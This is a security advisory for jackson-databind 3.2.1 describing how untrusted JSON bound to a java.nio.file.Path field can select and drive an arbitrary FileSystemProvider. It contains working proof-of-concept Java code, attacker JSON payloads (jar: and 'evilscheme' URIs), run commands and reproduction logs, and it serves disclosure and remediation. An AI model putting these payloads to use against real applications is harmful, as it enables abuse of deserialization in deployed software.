GHSA-wjgm-6hv5-3cvf

### Summary

A `java.nio.file.Path` field bound from untrusted JSON reaches `JDKFromStringDeserializer.NioPathHelper.deserialize`. The attacker string flows through `new URI(value)` → `Path.of(uri)`, then on `FileSystemNotFoundException` into a `ServiceLoader<FileSystemProvider>` enumeration that calls `provider.getPath(uri)` on the first scheme-matching provider. No scheme is rejected, so untrusted JSON can drive an arbitrary registered provider under the default `JsonMapper.builder().build()`.

Impact is bounded. The JDK built-in providers (`file`, `jar`/zipfs) do no network I/O and do not mount, so the path is inert without a side-effecting third-party provider. Binding `Path` from untrusted input is already an anti-pattern.

### Description

`NioPathHelper.deserialize` performs provider resolution driven by the attacker URI (abridged; the real method also handles a Windows drive-letter prefix and wraps failures via `ctxt.handleInstantiationProblem(...)`):

```java int colonIx = value.indexOf(':'); if (colonIx < 0) { return Path.of(value); } ... final URI uri = new URI(value); // attacker-controlled URI string try { return Path.of(uri); // resolves scheme -> may load a FileSystemProvider } catch (FileSystemNotFoundException cause) { final String scheme = uri.getScheme(); for (FileSystemProvider provider : ServiceLoader.load(FileSystemProvider.class)) { if (provider.getScheme().equalsIgnoreCase(scheme)) { return provider.getPath(uri); // attacker scheme selects & drives a provider } } // no matching provider -> ctxt.handleInstantiationProblem(...) (throws by default) } ```

The attacker's scheme selects the provider and the attacker's URI is passed to it; the enumeration also forces provider classloading during `readValue`. For built-in schemes like `jar:`, `getPath` throws `FileSystemNotFoundException` (a mount requires explicit `newFileSystem`), surfacing as a wrapped `ValueInstantiationException` with no terminal effect. Any mount, network I/O, or resource access depends entirely on the selected provider.

## Vulnerable Code Location

- `src/main/java/tools/jackson/databind/deser/jdk/JDKFromStringDeserializer.java` - `STD_PATH` → `NioPathHelper.deserialize`; `NioPathHelper.deserialize` body (`new URI` → `Path.of(uri)` → `ServiceLoader.load(FileSystemProvider.class)` → `provider.getPath(uri)`).

## Proof of Concept

Two PoCs are provided.

> PoC 2 registers a custom `FileSystemProvider` to show that attacker JSON reaches `provider.getPath(attackerURI)` inside `readValue`. Whether a third-party provider then does anything harmful is outside the library's control. The in-scope issue is **PoC 1** — the `jar:`/arbitrary-scheme path reaching the `ServiceLoader` fallback with no scheme restriction.

**PoC 1 — sink reached (built-in `jar` provider).**

`com/poc/Vuln04_PathProvider.java`: ```java package com.poc;

import tools.jackson.databind.ObjectMapper; import tools.jackson.databind.json.JsonMapper; import java.nio.file.Path;

/** * Vuln 4: java.nio.file.Path deserialization resolves an attacker URI via * Path.of(uri) / ServiceLoader<FileSystemProvider>. */ public class Vuln04_PathProvider { public static class Config { public Path workdir; }

public static void main(String[] args) throws Exception { ObjectMapper mapper = JsonMapper.builder().build(); // jar: scheme forces FileSystemProvider resolution / mounting attempt on attacker URI. String json = "{\"workdir\":\"jar:file:/tmp/jackson_poc_evil.zip!/x\"}"; System.out.println("Deserializing (default mapper): " + json); try { Config c = mapper.readValue(json, Config.class); System.out.println("Resolved Path = " + c.workdir + " (class=" + (c.workdir==null?"null":c.workdir.getClass().getName()) + ")"); System.out.println("RESULT: VULNERABLE - attacker URI scheme resolved through provider machinery during readValue"); } catch (Throwable t) { System.out.println("Throwable during resolution: " + t.getClass().getName() + ": " + t.getMessage()); System.out.println("RESULT: VULNERABLE (attacker URI drove provider resolution; threw " + t.getClass().getSimpleName() + " inside readValue)"); } } } ```

**PoC 2 — scheme-selection mechanism demo (custom `FileSystemProvider`).** A third-party provider (scheme `evilscheme`) registered via `META-INF/services/java.nio.file.spi.FileSystemProvider`, which is standing in for *any* provider a real application ships.

`com/poc/EvilFileSystemProvider.java`: ```java package com.poc;

import java.nio.file.*; import java.nio.file.spi.FileSystemProvider; import java.nio.file.attribute.*; import java.net.URI; import java.io.IOException; import java.util.*; import java.util.Set; import java.nio.channels.SeekableByteChannel;

/** * A custom java.nio.file.spi.FileSystemProvider registered via META-INF/services, using the * scheme "evilscheme". It stands in for ANY third-party FileSystemProvider present on a real * application's classpath. Its static initializer and getPath() record that they executed, * proving that attacker-controlled JSON drove provider class loading + provider.getPath(uri) * inside jackson's readValue. */ public class EvilFileSystemProvider extends FileSystemProvider { public static volatile boolean STATIC_INIT_RAN = false; public static volatile String GET_PATH_URI = null; static { STATIC_INIT_RAN = true; }

@Override public String getScheme() { return "evilscheme"; }

@Override public Path getPath(URI uri) { GET_PATH_URI = uri.toString(); System.out.println(">>> [EVIL-PROVIDER] getPath() invoked with attacker URI: " + uri); // A malicious/vulnerable provider could here open a socket, read a file, mount a FS, etc. return java.nio.file.Path.of(System.getProperty("java.io.tmpdir"), "evilprovider-marker"); }

// --- remaining abstract methods: minimal stubs --- @Override public FileSystem newFileSystem(URI uri, Map<String,?> env) { throw new UnsupportedOperationException(); } @Override public FileSystem getFileSystem(URI uri) { throw new FileSystemNotFoundException(); } @Override public SeekableByteChannel newByteChannel(Path p, Set<? extends OpenOption> o, FileAttribute<?>... a) throws IOException { throw new UnsupportedOperationException(); } @Override public DirectoryStream<Path> newDirectoryStream(Path d, DirectoryStream.Filter<? super Path> f) { throw new UnsupportedOperationException(); } @Override public void createDirectory(Path d, FileAttribute<?>... a) { throw new UnsupportedOperationException(); } @Override public void delete(Path p) { throw new UnsupportedOperationException(); } @Override public void copy(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); } @Override public void move(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); } @Override public boolean isSameFile(Path p, Path p2) { return false; } @Override public boolean isHidden(Path p) { return false; } @Override public FileStore getFileStore(Path p) { throw new UnsupportedOperationException(); } @Override public void checkAccess(Path p, AccessMode... m) { } @Override public <V extends FileAttributeView> V getFileAttributeView(Path p, Class<V> t, LinkOption... o) { return null; } @Override public <A extends BasicFileAttributes> A readAttributes(Path p, Class<A> t, LinkOption... o) { throw new UnsupportedOperationException(); } @Override public Map<String,Object> readAttributes(Path p, String a, LinkOption... o) { throw new UnsupportedOperationException(); } @Override public void setAttribute(Path p, String a, Object v, LinkOption... o) { } } ```

Registration descriptor — `src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider`: ``` com.poc.EvilFileSystemProvider ```

Driver — `com/poc/Vuln04b_PathProviderMount.java`: ```java package com.poc;

import tools.jackson.databind.ObjectMapper; import tools.jackson.databind.json.JsonMapper;

/** * Vuln 4 (end-to-end terminal effect): a third-party FileSystemProvider registered via * META-INF/services (scheme "evilscheme") stands in for any provider on a real app's * classpath. Attacker JSON with that scheme drives jackson's ServiceLoader fallback to * (1) load the provider class (running its static initializer) and (2) invoke * provider.getPath(attackerUri) -- all inside readValue, with NO application code. */ public class Vuln04b_PathProviderMount { public static class Config { public java.nio.file.Path workdir; }

public static void main(String[] args) throws Exception { System.out.println("Provider static-init ran before deserialization? " + EvilFileSystemProvider.STATIC_INIT_RAN); ObjectMapper mapper = JsonMapper.builder().build(); // default config String json = "{\"workdir\":\"evilscheme://attacker-controlled/target?x=1\"}"; System.out.println("Deserializing (default mapper): " + json);

Config c = mapper.readValue(json, Config.class);

System.out.println("Resolved Path = " + c.workdir); System.out.println("Provider static-init ran: " + EvilFileSystemProvider.STATIC_INIT_RAN); System.out.println("Provider.getPath() attacker URI: " + EvilFileSystemProvider.GET_PATH_URI); boolean ok = EvilFileSystemProvider.GET_PATH_URI != null && EvilFileSystemProvider.GET_PATH_URI.contains("attacker-controlled"); System.out.println(ok ? "RESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven)" : "RESULT: NOT reproduced"); } } ```

## Execution Steps

The PoCs need only the three Jackson 3.2.1 jars on the classpath and can be built with plain `javac`/`java` . PoC 2 additionally requires the `META-INF/services` descriptor to be on the **runtime** classpath

```bash # 0. Locate the three published dependency jars. M2="$HOME/.m2/repository" DB="$M2/tools/jackson/core/jackson-databind/3.2.1/jackson-databind-3.2.1.jar" CORE="$M2/tools/jackson/core/jackson-core/3.2.1/jackson-core-3.2.1.jar" ANN="$M2/com/fasterxml/jackson/core/jackson-annotations/2.22/jackson-annotations-2.22.jar" CP="$DB:$CORE:$ANN"

# 1. Compile the three sources. cd poc-project mkdir -p out javac -cp "$CP" -d out \ src/main/java/com/poc/EvilFileSystemProvider.java \ src/main/java/com/poc/Vuln04_PathProvider.java \ src/main/java/com/poc/Vuln04b_PathProviderMount.java

# 2. Put the ServiceLoader descriptor on the runtime classpath (needed by PoC 2). mkdir -p out/META-INF/services cp src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider \ out/META-INF/services/java.nio.file.spi.FileSystemProvider

# 3. Run both PoCs. java -cp "out:$CP" com.poc.Vuln04_PathProvider # PoC 1 java -cp "out:$CP" com.poc.Vuln04b_PathProviderMount # PoC 2 ```

## Reproduction Evidence

Executed against jackson-databind 3.2.1 (OpenJDK 25).

**PoC 1 :** ``` Deserializing (default mapper): {"workdir":"jar:file:/tmp/jackson_poc_evil.zip!/x"} Throwable during resolution: tools.jackson.databind.exc.ValueInstantiationException: Cannot construct instance of `java.nio.file.Path`, problem: `java.nio.file.FileSystemNotFoundException` at [Source: REDACTED (`StreamReadFeature.INCLUDE_SOURCE_IN_LOCATION` disabled); byte offset: #UNKNOWN] (through reference chain: com.poc.Vuln04_PathProvider$Config["workdir"]) RESULT: VULNERABLE (attacker URI drove provider resolution; threw ValueInstantiationException inside readValue) ``` Notes: the JDK **built-in** `jar` provider's `getPath` does not auto-mount (it also throws `FileSystemNotFoundException`, since only `newFileSystem` mounts). PoC 1 proves the in-scope defect: attacker input reaches the scheme-driven `ServiceLoader` resolution during `readValue` with no allow-list. PoC 2 only illustrates the downstream mechanism.

**PoC 2 :** ``` Provider static-init ran before deserialization? true Deserializing (default mapper): {"workdir":"evilscheme://attacker-controlled/target?x=1"} >>> [EVIL-PROVIDER] getPath() invoked with attacker URI: evilscheme://attacker-controlled/target?x=1 Resolved Path = /var/folders/.../T/evilprovider-marker Provider static-init ran: true Provider.getPath() attacker URI: evilscheme://attacker-controlled/target?x=1 RESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven) ``` Purely from a JSON string, jackson's `ServiceLoader` fallback selected the attacker-named scheme's provider and invoked `provider.getPath(uri)` with the full attacker URI inside `readValue`. Whether a given provider then does anything harmful is outside the library's control; the in-scope issue is the absence of a scheme restriction before this fallback runs.

## Impact

Untrusted JSON drives `provider.getPath(attackerURI)` on an attacker-chosen provider during `readValue`. With only the JDK built-in providers this is inert. Real impact requires a side-effecting third-party provider on the classpath. The fix is to close the scheme-restriction gap.

## Recommended Fix

1. **Restrict the resolved scheme to a fixed, hard-coded set** ; reject `jar:` and other schemes via `ctxt.handleWeirdStringValue(...)`. A hard-coded set keeps the fix backport-safe with no new configuration surface. 2. **Skip the `ServiceLoader<FileSystemProvider>` enumeration for disallowed schemes**, so untrusted JSON cannot select and drive an arbitrary registered provider. 3. Document that `java.nio.file.Path`-typed fields should not be bound from untrusted JSON.